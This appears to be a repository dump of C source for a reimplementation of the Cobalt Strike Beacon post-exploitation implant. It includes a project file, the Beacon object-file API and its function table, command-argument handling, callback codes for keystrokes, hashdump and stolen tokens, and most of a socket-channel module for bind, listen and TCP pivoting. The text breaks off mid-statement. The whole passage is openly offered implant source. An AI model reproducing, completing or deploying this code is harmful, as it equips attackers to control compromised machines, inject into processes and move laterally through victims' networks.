<ClCompile Include=\"channel.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"download.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"inline_execute_object.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"api.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"stage.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"powershell.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"process.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"metadata.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"thread.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"web_response.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"memory.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"crypto.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"transform.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"strategy.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "Beacon/api.c",
    "content": "#include \"pch.h\"\n\n#include \"api.h\"\n\nvoid BeaconAPI(bapi* beaconApi)\n{\n\t*beaconApi = (bapi){\n\t\tLoadLibraryA,\n\t\tFreeLibrary,\n\t\tGetProcAddress,\n\t\tGetModuleHandleA,\n\t\tBeaconDataParse,\n\t\tBeaconDataPtr,\n\t\tBeaconDataInt,\n\t\tBeaconDataShort,\n\t\tBeaconDataLength,\n\t\tBeaconDataExtract,\n\t\tBeaconFormatAlloc,\n\t\tBeaconFormatReset,\n\t\tBeaconFormatPrintf,\n\t\tBeaconFormatAppend,\n\t\tBeaconFormatFree,\n\t\tBeaconFormatToString,\n\t\tBeaconFormatInt,\n\t\tBeaconOutput,\n\t\tBeaconPrintf,\n\t\tBeaconErrorD,\n\t\tBeaconErrorDD,\n\t\tBeaconErrorNA,\n\t\tBeaconUseToken,\n\t\tBeaconIsAdmin,\n\t\tBeaconRevertToken,\n\t\tBeaconGetSpawnTo,\n\t\tBeaconCleanupProcess,\n\t\tBeaconInjectProcess,\n\t\tBeaconSpawnTemporaryProcess,\n\t\tBeaconInjectTemporaryProcess,\n\t\ttoWideChar\n\t};\n}\n\nPROC* FindOrAddDynamicFunction(bapi* api, PROC newFunction)\n{\n\tPROC* potentialFuncLocation = NULL;\n\n\t// Iterate through the dynamic function array\n\tfor (int index = 0; index < MAX_DYNAMIC_FUNCTIONS; ++index)\n\t{\n\t\tPROC* currentFunction = &api->dynamicFns[index];\n\n\t\t// Check if the current function matches the one we're looking for\n\t\tif (*currentFunction == newFunction)\n\t\t{\n\t\t\t// Function found, return its pointer\n\t\t\treturn currentFunction;\n\t\t}\n\n\t\t// Check if we found an empty slot for a new function\n\t\tif (potentialFuncLocation == NULL && *currentFunction == NULL)\n\t\t{\n\t\t\t// Store the current slot as a potential location for the new function\n\t\t\tpotentialFuncLocation = currentFunction;\n\t\t}\n\t}\n\n\t// If no empty slot was found, return NULL\n\tif (potentialFuncLocation == NULL)\n\t{\n\t\treturn NULL;\n\t}\n\n\t// Add the new function to the found empty slot\n\t*potentialFuncLocation = newFunction;\n\n\t// Function added, return its pointer\n\treturn potentialFuncLocation;\n}"
  },
  {
    "path": "Beacon/api.h",
    "content": "#pragma once\n#include \"beacon.h\"\n\n#define MAX_DYNAMIC_FUNCTIONS 32\n\ntypedef struct _bapi\n{\n\tHMODULE (*fnLoadLibraryA)(LPCSTR lpLibFileName);\n\tBOOL (*fnFreeLibrary)(HMODULE hLibModule);\n\tFARPROC (*fnGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);\n\tHMODULE (*fnGetModuleHandleA)(LPCSTR lpModuleName);\n\tvoid (*fnBeaconDataParse)(datap* parser, char* buffer, int size);\n\tchar*(*fnBeaconDataPtr)(datap* parser, int size);\n\tint (*fnBeaconDataInt)(datap* parser);\n\tshort (*fnBeaconDataShort)(datap* parser);\n\tint (*fnBeaconDataLength)(datap* parser);\n\tchar*(*fnBeaconDataExtract)(datap* parser, int* size);\n\tvoid (*fnBeaconFormatAlloc)(formatp* format, int maxsz);\n\tvoid (*fnBeaconFormatReset)(formatp* format);\n\tvoid (*fnBeaconFormatPrintf)(formatp* format, char* fmt, ...);\n\tvoid (*fnBeaconFormatAppend)(formatp* format, char* text, int len);\n\tvoid (*fnBeaconFormatFree)(formatp* format);\n\tchar*(*fnBeaconFormatToString)(formatp* format, int* size);\n\tvoid (*fnBeaconFormatInt)(formatp* format, int value);\n\tvoid (*fnBeaconOutput)(int type, char* data, int len);\n\tvoid (*fnBeaconPrintf)(int type, char* fmt, ...);\n\tvoid (*fnBeaconErrorD)(int type, int d1);\n\tvoid (*fnBeaconErrorDD)(int type, int d1, int d2);\n\tvoid (*fnBeaconErrorNA)(int type);\n\tBOOL (*fnBeaconUseToken)(HANDLE token);\n\tBOOL (*fnBeaconIsAdmin)();\n\tvoid (*fnBeaconRevertToken)();\n\tvoid (*fnBeaconGetSpawnTo)(BOOL x86, char* buffer, int length);\n\tvoid (*fnBeaconCleanupProcess)(PROCESS_INFORMATION* pInfo);\n\tvoid (*fnBeaconInjectProcess)(HANDLE hProcess, int pid, char* payload, int p_len, int p_offset, char* arg,\n\t                              int a_len);\n\tBOOL (*fnBeaconSpawnTemporaryProcess)(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo);\n\tvoid (*fnBeaconInjectTemporaryProcess)(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset,\n\t                                       char* arg, int a_len);\n\tBOOL (*fnToWideChar)(char* src, wchar_t* dst, int max);\n\tPROC dynamicFns[MAX_DYNAMIC_FUNCTIONS];\n} bapi;\n\nvoid BeaconAPI(bapi* beaconApi);\nPROC* FindOrAddDynamicFunction(bapi* api, PROC newFunction);"
  },
  {
    "path": "Beacon/argument.c",
    "content": "#include \"pch.h\"\n\n#include \"argument.h\"\n\n#include \"beacon.h\"\n#include \"utils.h\"\n\ntypedef struct _ARGUMENT_ENTRY\n{\n\tBOOL isActive;\n\tconst char expandedCmd[8192];\n\tconst char expandedFullCmd[8192];\n\tstruct _ARGUMENT_ENTRY* next;\n} ARGUMENT_ENTRY;\n\nARGUMENT_ENTRY* gArguments = NULL;\n\nBOOL ArgumentFindMatch(EXPANDED_CMD* extendedCmd, const char* cmd)\n{\n\tfor (const ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)\n\t{\n\t\tif (current->isActive && strstr(cmd, current->expandedCmd) == cmd)\n\t\t{\n\t\t\t*extendedCmd = (EXPANDED_CMD) { current->expandedFullCmd, current->expandedCmd };\n\t\t\treturn TRUE;\n\t\t}\n\t}\n\n\treturn FALSE;\n}\n\nARGUMENT_ENTRY* ArgumentFindOrCreate(char* expanded)\n{\n\tfor (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)\n\t{\n\t\tif (!current->isActive && strcmp(expanded, current->expandedCmd) == 0)\n\t\t\treturn current;\n\t}\n\n\tARGUMENT_ENTRY* current = gArguments;\n\n\twhile(current && current->isActive)\n\t\tcurrent = current->next;\n\n\tARGUMENT_ENTRY* argument;\n\tif (!current)\n\t{\n\t\t// Create a new entry for the new argument\n\t\targument = (ARGUMENT_ENTRY*)malloc(sizeof(ARGUMENT_ENTRY));\n\t\t*argument = (ARGUMENT_ENTRY){ .isActive = FALSE, .expandedCmd = NULL, .expandedFullCmd = NULL, .next = current };\n\t\tgArguments = argument;\n\t} else\n\t{\n\t\t// Reuse this entry for the new argument\n\t\targument = current;\n\t}\n\n\treturn argument;\n}\n\nvoid ArgumentAdd(char* buffer, int length)\n{\n#define MAX_ORIGINAL 0x2000\n#define MAX_EXPANDED 0x2000\n#define MAX_EXPANDED_FULL 0x2000\n\tdatap* locals = BeaconDataAlloc(MAX_ORIGINAL + MAX_EXPANDED + MAX_EXPANDED_FULL);\n\n\tchar* original = BeaconDataPtr(locals, MAX_ORIGINAL);\n\tchar* expanded = BeaconDataPtr(locals, MAX_EXPANDED);\n\tchar* expandedFull = BeaconDataPtr(locals, MAX_EXPANDED_FULL);\n\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tBeaconDataStringCopySafe(&parser, original, MAX_ORIGINAL);\n\tExpandEnvironmentStrings_s(original, expanded, MAX_EXPANDED);\n\tBeaconDataStringCopySafe(&parser, expandedFull, MAX_EXPANDED_FULL);\n\n\tARGUMENT_ENTRY* argument = ArgumentFindOrCreate(expanded);\n\targument->isActive = TRUE;\n\n\tExpandEnvironmentStrings_s(original, argument->expandedCmd, MAX_EXPANDED);\n\tExpandEnvironmentStrings_s(expandedFull, argument->expandedFullCmd, MAX_EXPANDED_FULL);\n\n\tBeaconDataFree(locals);\n}\n\nvoid ArgumentRemove(char* buffer, int length)\n{\n\tchar* expanded = malloc(MAX_EXPANDED);\n\tbuffer[length] = '\\0';\n\tExpandEnvironmentStrings_s(buffer, expanded, MAX_EXPANDED);\n\t// For each active argument\n\tfor (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)\n\t{\n\t\tif (current->isActive && strcmp(expanded, current->expandedCmd) == 0)\n\t\t{\n\t\t\tcurrent->isActive = FALSE;\n\t\t\t*current = (ARGUMENT_ENTRY){ .isActive = FALSE, .expandedCmd = NULL, .expandedFullCmd = NULL, .next = current->next };\n\t\t\tbreak;\n\t\t}\n\t}\n\tfree(expanded);\n}\n\nvoid ArgumentList()\n{\n\tformatp format;\n\tBeaconFormatAlloc(&format, 0x8000);\n\tfor (ARGUMENT_ENTRY* current = gArguments; current != NULL; current = current->next)\n\t{\n\t\tif (current->isActive)\n\t\t{\n\t\t\tBeaconFormatPrintf(&format, \"%s\\n\", current->expandedFullCmd);\n\t\t}\n\t}\n\n\tint size = BeaconDataLength(&format);\n\tchar* buffer = BeaconDataOriginal(&format);\n\tBeaconOutput(CALLBACK_OUTPUT, buffer, size);\n\n\tBeaconFormatFree(&format);\n}"
  },
  {
    "path": "Beacon/argument.h",
    "content": "#pragma once\n\ntypedef struct _EXPANDED_CMD\n{\n\tchar* fullCmd;\n\tchar* cmd;\n} EXPANDED_CMD;\n\nBOOL ArgumentFindMatch(EXPANDED_CMD* extendedCmd, const char* cmd);\nvoid ArgumentAdd(char* buffer, int length);\nvoid ArgumentRemove(char* buffer, int length);\nvoid ArgumentList();"
  },
  {
    "path": "Beacon/beacon.c",
    "content": "#include \"pch.h\"\n\n#include \"beacon.h\"\n\n#include \"settings.h\"\n\n"
  },
  {
    "path": "Beacon/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Additional BOF resources are available here:\n *   - https://github.com/Cobalt-Strike/bof_template\n *\n * Cobalt Strike 4.x\n * ChangeLog:\n *    1/25/2022: updated for 4.5\n *    7/18/2023: Added BeaconInformation API for 4.9\n *    7/31/2023: Added Key/Value store APIs for 4.9\n *                  BeaconAddValue, BeaconGetValue, and BeaconRemoveValue\n *    8/31/2023: Added Data store APIs for 4.9\n *                  BeaconDataStoreGetItem, BeaconDataStoreProtectItem,\n *                  BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries\n *    9/01/2023: Added BeaconGetCustomUserData API for 4.9\n */\n\n#pragma once\n#include \"pch.h\"\n\ntypedef struct\n{\n\tchar* buffer;\n\tint size;\n} sizedbuf;\n\n/* data API - unpacks data */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\ndatap*  BeaconDataAlloc(int size);\nvoid    BeaconDataFree(datap * parser);\nvoid    BeaconDataParse(datap * parser, char * buffer, int size);\nchar *  BeaconDataPtr(datap * parser, int size);\nint     BeaconDataInt(datap * parser);\nshort   BeaconDataShort(datap * parser);\nchar    BeaconDataByte(datap * parser);\nchar *  BeaconDataStringPointer(datap * parser);\nchar *  BeaconDataStringPointerCopy(datap * parser, int size);\nint     BeaconDataStringCopySafe(datap * parser, char * buffer, int size);\nint     BeaconDataStringCopy(datap* parser, char* buffer, int size);\nchar*   BeaconDataOriginal(datap* parser);\nchar*   BeaconDataBuffer(datap* parser);\nint     BeaconDataLength(datap * parser);\nchar*    BeaconDataLengthAndString(datap * parser, sizedbuf* sb);\nchar *  BeaconDataExtract(datap * parser, int * size);\nvoid    BeaconDataZero(datap * parser);\n\n/* format API - packs data */\ntypedef datap formatp;\n\nvoid    BeaconFormatAlloc(formatp * format, int maxsz);\nvoid    BeaconFormatUse(formatp * format, char * buffer, int size);\nvoid    BeaconFormatReset(formatp * format);\nvoid    BeaconFormatAppend(formatp * format, char * text, int len);\nvoid    BeaconFormatPrintf(formatp * format, char * fmt, ...);\nvoid    BeaconFormatFree(formatp * format);\nvoid    BeaconFormatInt(formatp * format, int value);\nvoid    BeaconFormatShort(formatp * format, short value);\nvoid    BeaconFormatChar(formatp * format, char value);\nchar*   BeaconFormatOriginal(formatp* format);\nchar*   BeaconFormatBuffer(formatp* format);\nint     BeaconFormatLength(formatp* format);\n\n/* once you're done with the format... */\nchar *  BeaconFormatToString(formatp * format, int * size);\n\n/* Output Functions */\n#include \"callback.h\"\n\nvoid   BeaconOutput(int type, char * data, int len);\nvoid   BeaconPrintf(int type, char * fmt, ...);\n\nvoid BeaconErrorD(int type, int d1);\nvoid BeaconErrorDD(int type, int d1, int d2);\nvoid BeaconErrorNA(int type);\nvoid BeaconErrorS(int type, char * s1);\nvoid BeaconErrorDS(int type, int d1, char * s1);\nvoid BeaconErrorDDS(int type, int d1, int d2, char* s1);\nvoid BeaconErrorPrintf(int type, char * fmt, ...);\n\n/* Token Functions */\nBOOL   BeaconUseToken(HANDLE token);\nvoid   BeaconRevertToken(void);\nBOOL   BeaconIsAdmin(void);\n\n/* Spawn+Inject Functions */\nvoid   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nvoid   BeaconInjectProcess(HANDLE hProcess, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nvoid   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nBOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);\nvoid   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nBOOL   toWideChar(char * src, wchar_t * dst, int max);\n\n/* Beacon Information */\n/*\n *  ptr  - pointer to the base address of the allocated memory.\n *  size - the number of bytes allocated for the ptr.\n */\ntypedef struct {\n\tchar * ptr;\n\tsize_t size;\n} HEAP_RECORD;\n#define MASK_SIZE 13\n\n/*\n *  sleep_mask_ptr        - pointer to the sleep mask base address\n *  sleep_mask_text_size  - the sleep mask text section size\n *  sleep_mask_total_size - the sleep mask total memory size\n *\n *  beacon_ptr   - pointer to beacon's base address\n *                 The stage.obfuscate flag affects this value when using CS default loader.\n *                    true:  beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)\n *                    false: beacon_ptr = allocated_buffer (A valid address)\n *                 For a UDRL the beacon_ptr will be set to the 1st argument to DllMain\n *                 when the 2nd argument is set to DLL_PROCESS_ATTACH.\n *  sections     - list of memory sections beacon wants to mask. These are offset values\n *                 from the beacon_ptr and the start value is aligned on 0x1000 boundary.\n *                 A section is denoted by a pair indicating the start and end offset values.\n *                 The list is terminated by the start and end offset values of 0 and 0.\n *  heap_records - list of memory addresses on the heap beacon wants to mask.\n *                 The list is terminated by the HEAP_RECORD.ptr set to NULL.\n *  mask         - the mask that beacon randomly generated to apply\n */\ntypedef struct {\n\tchar  * sleep_mask_ptr;\n\tDWORD   sleep_mask_text_size;\n\tDWORD   sleep_mask_total_size;\n\n\tchar  * beacon_ptr;\n\tDWORD * sections;\n\tHEAP_RECORD * heap_records;\n\tchar    mask[MASK_SIZE];\n} BEACON_INFO;\n\nvoid   BeaconInformation(BEACON_INFO * info);\n\n/* Key/Value store functions\n *    These functions are used to associate a key to a memory address and save\n *    that information into beacon.  These memory addresses can then be\n *    retrieved in a subsequent execution of a BOF.\n *\n *    key - the key will be converted to a hash which is used to locate the\n *          memory address.\n *\n *    ptr - a memory address to save.\n *\n * Considerations:\n *    - The contents at the memory address is not masked by beacon.\n *    - The contents at the memory address is not released by beacon.\n *\n */\nBOOL BeaconAddValue(const char * key, void * ptr);\nvoid * BeaconGetValue(const char * key);\nBOOL BeaconRemoveValue(const char * key);\n\n/* Beacon Data Store functions\n *    These functions are used to access items in Beacon's Data Store.\n *    BeaconDataStoreGetItem returns NULL if the index does not exist.\n *\n *    The contents are masked by default, and BOFs must unprotect the entry\n *    before accessing the data buffer. BOFs must also protect the entry\n *    after the data is not used anymore.\n *\n */\n\n#define DATA_STORE_TYPE_EMPTY 0\n#define DATA_STORE_TYPE_GENERAL_FILE 1\n\ntypedef struct {\n\tint type;\n\tDWORD64 hash;\n\tBOOL masked;\n\tchar* buffer;\n\tsize_t length;\n} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;\n\nPDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);\nvoid BeaconDataStoreProtectItem(size_t index);\nvoid BeaconDataStoreUnprotectItem(size_t index);\nsize_t BeaconDataStoreMaxEntries();\n\n/* Beacon User Data functions */\nchar * BeaconGetCustomUserData();\n"
  },
  {
    "path": "Beacon/callback.h",
    "content": "#pragma once\n\n#define CALLBACK_OUTPUT 0\n#define CALLBACK_KEYSTROKES 1\n#define CALLBACK_FILE 2\n#define CALLBACK_SCREENSHOT 3\n#define CALLBACK_CLOSE 4\n#define CALLBACK_READ 5\n#define CALLBACK_CONNECT 6\n#define CALLBACK_PING 7\n#define CALLBACK_FILE_WRITE 8\n#define CALLBACK_FILE_CLOSE 9\n#define CALLBACK_PIPE_OPEN 10\n#define CALLBACK_PIPE_CLOSE 11\n#define CALLBACK_PIPE_READ 12\n#define CALLBACK_POST_ERROR 13\n#define CALLBACK_PIPE_PING 14\n#define CALLBACK_TOKEN_STOLEN 15\n#define CALLBACK_TOKEN_GETUID 16\n#define CALLBACK_PROCESS_LIST 17\n#define CALLBACK_POST_REPLAY_ERROR 18\n#define CALLBACK_PWD 19\n#define CALLBACK_JOBS 20\n#define CALLBACK_HASHDUMP 21\n#define CALLBACK_PENDING 22\n#define CALLBACK_ACCEPT 23\n#define CALLBACK_NETVIEW 24\n#define CALLBACK_PORTSCAN 25\n#define CALLBACK_DEAD 26\n#define CALLBACK_SSH_STATUS 27\n#define CALLBACK_CHUNK_ALLOCATE 28\n#define CALLBACK_CHUNK_SEND 29\n#define CALLBACK_OUTPUT_OEM 30\n#define CALLBACK_ERROR 31\n#define CALLBACK_OUTPUT_UTF8 32"
  },
  {
    "path": "Beacon/channel.c",
    "content": "#include \"pch.h\"\n\n#include \"channel.h\"\n\n#include \"beacon.h\"\n#include \"link.h\"\n#include \"network.h\"\n#include \"protocol.h\"\n\ntypedef struct CHANNEL_ENTRY\n{\n\tint id;\n\tint state;\n\tint timeoutPeriod;\n\tint lastActive;\n\tint type;\n\tint port;\n\tint creationTime;\n\tSOCKET socket;\n\tstruct CHANNEL_ENTRY* next;\n} CHANNEL_ENTRY;\n\nCHANNEL_ENTRY* gChannels;\nchar* gChannelBuffer;\nint gChannelIdCount = 0;\n\n#define CHANNEL_STATE_0 0\n#define CHANNEL_STATE_1 1\n#define CHANNEL_STATE_2 2\n#define CHANNEL_STATE_3 3\n\n#define CHANNEL_TYPE_CONNECT 0\n#define CHANNEL_TYPE_LISTEN 1\n#define CHANNEL_TYPE_BIND 2\n#define CHANNEL_TYPE_TCP_PIVOT 3\n\nBOOL ChannelIsBindValid(short port)\n{\n\tfor (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)\n\t{\n\t\tif (channel->state && channel->type == CHANNEL_TYPE_BIND && channel->port == port)\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t}\n\treturn FALSE;\n}\n\nSOCKET ChannelSocketCreateAndBind(const int addr, const short port, const int backlog)\n{\n\tNetworkInit();\n\n\tSOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);\n\tif(sock == INVALID_SOCKET)\n\t{\n\t\treturn INVALID_SOCKET;\n\t}\n\n\tstruct sockaddr_in sockaddr;\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_addr.s_addr = addr;\n\tsockaddr.sin_port = htons(port);\n\n\tint argp = 1; // 1 = non-blocking\n\tif(ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR\n\t\t|| bind(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR\n\t\t|| listen(sock, backlog) == SOCKET_ERROR)\n\t{\n\t\tclosesocket(sock);\n\t\treturn INVALID_SOCKET;\n\t}\n\n\treturn sock;\n}\n\nvoid ChannelAdd(SOCKET socket, int id, int timeoutPeriod, int type, int port, int state)\n{\n\tCHANNEL_ENTRY* newChannel = malloc(sizeof(CHANNEL_ENTRY));\n\t*newChannel = (CHANNEL_ENTRY){\n\t\t.id = id,\n\t\t.socket = (HANDLE)socket,\n\t\t.state = state,\n\t\t.lastActive = 0,\n\t\t.creationTime = GetTickCount(),\n\t\t.timeoutPeriod = timeoutPeriod,\n\t\t.port = port,\n\t\t.type = type,\n\t\t.next = gChannels\n\t};\n\n\t\n\tfor (CHANNEL_ENTRY* ch = gChannels; ch; ch = (CHANNEL_ENTRY*)ch->next)\n\t\tif (ch->id == id)\n\t\t\tch->state = CHANNEL_STATE_0;\n\n\tgChannels = newChannel;\n}\n\n\nlong long ChannelGetId()\n{\n\treturn 0x4000000 + gChannelIdCount++ % 0x4000000;\n}\n\nvoid ChannelLSocketBind(char* buffer, int length, int ipAddress)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tshort port = BeaconDataShort(&parser);\n\tSOCKET sock = ChannelSocketCreateAndBind(ipAddress, port, 10);\n\tif (sock == INVALID_SOCKET)\n\t{\n\t\tLERROR(\"Could not bind to %d\", port);\n\t\tBeaconErrorD(ERROR_SOCKET_CREATE_BIND_FAILED, port);\n\t\treturn;\n\t}\n\n\tint newId = ChannelGetId();\n\tChannelAdd(sock, newId, 0, CHANNEL_TYPE_BIND, port, CHANNEL_STATE_2);\n}\n\nvoid ChannelLSocketTcpPivot(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tshort port = BeaconDataShort(&parser);\n\tSOCKET sock = ChannelSocketCreateAndBind(INADDR_ANY, port, 10);\n\tif (sock == INVALID_SOCKET)\n\t{\n\t\tLERROR(\"Could not bind to %d\", port);\n\t\tBeaconErrorD(ERROR_SOCKET_CREATE_BIND_FAILED, port);\n\t\treturn;\n\t}\n\n\tint newId = ChannelGetId();\n\tChannelAdd(sock, newId, 0, CHANNEL_TYPE_TCP_PIVOT, port, CHANNEL_STATE_2);\n}\n\nvoid ChannelListen(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint id = BeaconDataInt(&parser);\n\tshort port = BeaconDataShort(&parser);\n\n\tSOCKET sock = ChannelSocketCreateAndBind(INADDR_ANY, port, 1);\n\tif (sock == INVALID_SOCKET)\n\t{\n\t\tBeaconOutput(CALLBACK_CLOSE, buffer, sizeof(id));\n\t\treturn;\n\t}\n\n\tChannelAdd(sock, id, 180000, CHANNEL_TYPE_LISTEN, port, CHANNEL_STATE_2);\n}\n\nvoid ChannelConnect(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint channelId = BeaconDataInt(&parser);\n\tshort port = BeaconDataShort(&parser);\n\n\tint bufferSize = BeaconDataLength(&parser);\n\tbufferSize = min(bufferSize, 1024 - 1);\n\n\tchar* b = BeaconDataBuffer(&parser);\n\tmemcpy(buffer, b, bufferSize);\n\tbuffer[bufferSize] = 0;\n\n\tNetworkInit();\n\n\tSOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_HOPOPTS);\n\tif (sock == INVALID_SOCKET)\n\t\tgoto close;\n\n\tHOSTENT* lHostent = gethostbyname(buffer);\n\tif (!lHostent)\n\t\tgoto close;\n\n\tstruct sockaddr_in sockaddr;\n\tmemcpy(&sockaddr.sin_addr, lHostent->h_addr, lHostent->h_length);\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htons(port);\n\n\tint argp = 1; // 1 = non-blocking\n\tif (ioctlsocket(sock, FIONBIO, &argp) == SOCKET_ERROR)\n\t\tgoto close;\n\n\tif (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == SOCKET_ERROR)\n\t\tif (WSAGetLastError() != WSAEWOULDBLOCK)\n\t\t\tgoto close;\n\n\tChannelAdd(sock, channelId, 30000, CHANNEL_TYPE_CONNECT, 0, CHANNEL_STATE_2);\n\n\treturn;\n\n\tclose:\n\tclosesocket(sock);\n\tBeaconOutput(CALLBACK_CLOSE, buffer, sizeof(channelId));\n}\n\nvoid ChannelClose(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint channelId = BeaconDataInt(&parser);\n\n\tfor (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)\n\t{\n\t\tif(channel->state != CHANNEL_STATE_0 && \n\t\t\tchannel->id == channelId &&\n\t\t\tchannel->type != CHANNEL_TYPE_BIND)\n\t\t{\n\t\t\tchannel->state = CHANNEL_STATE_0;\n\t\t}\n\t}\n}\n\nvoid ChannelSend(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tint channelId = BeaconDataInt(&parser);\n\n\tfor (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)\n\t{\n\t\tif (channel->state == CHANNEL_STATE_1 && channel->id == channelId)\n\t\t{\n\t\t\tlength = BeaconDataLength(&parser);\n\t\t\tbuffer = BeaconDataBuffer(&parser);\n\n\t\t\tfd_set exceptfds;\n\t\t\tfd_set writefds;\n\t\t\tint timeout = GetTickCount() + 30000;\n\t\t\tstruct timeval lTimeval = { 0, 100 };\n\t\t\twhile (GetTickCount() < timeout)\n\t\t\t{\n\t\t\t\tFD_ZERO(&writefds);\n\t\t\t\tFD_ZERO(&exceptfds);\n\n\t\t\t\tFD_SET((SOCKET)channel->socket, &writefds);\n\t\t\t\tFD_SET((SOCKET)channel->socket, &exceptfds);\n\n\t\t\t\tselect(0, NULL, &writefds, &exceptfds, &lTimeval);\n\t\n\t\t\t\tif (FD_ISSET((SOCKET)channel->socket, &exceptfds))\n\t\t\t\t\tbreak;\n\n\t\t\t\tif (FD_ISSET((SOCKET)channel->socket, &writefds))\n\t\t\t\t{\n\t\t\t\t\tint sent = send((SOCKET)channel->socket, buffer, length, 0);\n\t\t\t\t\tif (sent != SOCKET_ERROR)\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tif (WSAGetLastError() != WSAEWOULDBLOCK)\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tSleep(1000);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid ChannelLSocketClose(char* buffer, int length)\n{\n\tdatap parser;\n\tBeaconDataParse(&parser, buffer, length);\n\tshort port = BeaconDataShort(&parser);\n\n\tfor (CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)\n\t{\n\t\tif (channel->state != CHANNEL_STATE_0 && channel->port == port)\n\t\t\tif (channel->type == CHANNEL_TYPE_BIND || channel->type == CHANNEL_TYPE_TCP_PIVOT)\n\t\t\t\tchannel->state = CHANNEL_STATE_0;\n\t}\n}\n\nint ChannelReceiveDataInternal(SOCKET socket, char* buffer, int length)\n{\n\tint total = 0;\n\twhile (total < length)\n\t{\n\t\tint received = recv(socket, buffer + total, length - total, 0);\n\t\tbuffer += received;\n\t\ttotal += received;\n\t\tif (received == SOCKET_ERROR)\n\t\t{\n\t\t\tshutdown(socket, SD_BOTH);\n\t\t\tclosesocket(socket);\n\t\t\treturn SOCKET_ERROR;\n\t\t}\n\t}\n\treturn total;\n}\n\nint ChannelReceiveData()\n{\n#define CHANNEL_BUFFER_SIZE 0x100000\n\tif(!gChannelBuffer)\n\t\tgChannelBuffer = malloc(CHANNEL_BUFFER_SIZE);\n\n\tif(!gChannels)\n\t\treturn 0;\n\n\tint size = 0;\n\tint numProcessedChannels = 0;\n\tfor(CHANNEL_ENTRY* channel = gChannels; channel; channel = channel->next)\n\t{\n\t\tif(channel->state != CHANNEL_STATE_1)\n\t\t\tcontinue;\n\n\t\t*(int*)gChannelBuffer = htonl(channel->id);\n\t\tint ioctlresult = ioctlsocket((SOCKET)channel->socket, FIONREAD, &size);\n\n\t\tsize = min(size, CHANNEL_BUFFER_SIZE - sizeof(int));\n\n\t\tif(ioctlresult == SOCKET_ERROR)\n\t\t\tgoto callback_close;\n\n\t\tif (size)\n\t\t{\n\t\t\tint totalReceived = ChannelReceiveDataInternal((SOCKET)channel->socket,\n\t\t\t                                               gChannelBuffer + sizeof(int), size);\n\t\t\tif (totalReceived == SOCKET_ERROR)\n\t\t\t\tgoto callback_close;\n\n\t\t\tif (totalReceived == size)\n\t\t\t{\n\t\t\t\tBeaconOutput(CALLBACK_READ, gChannelBuffer, size + 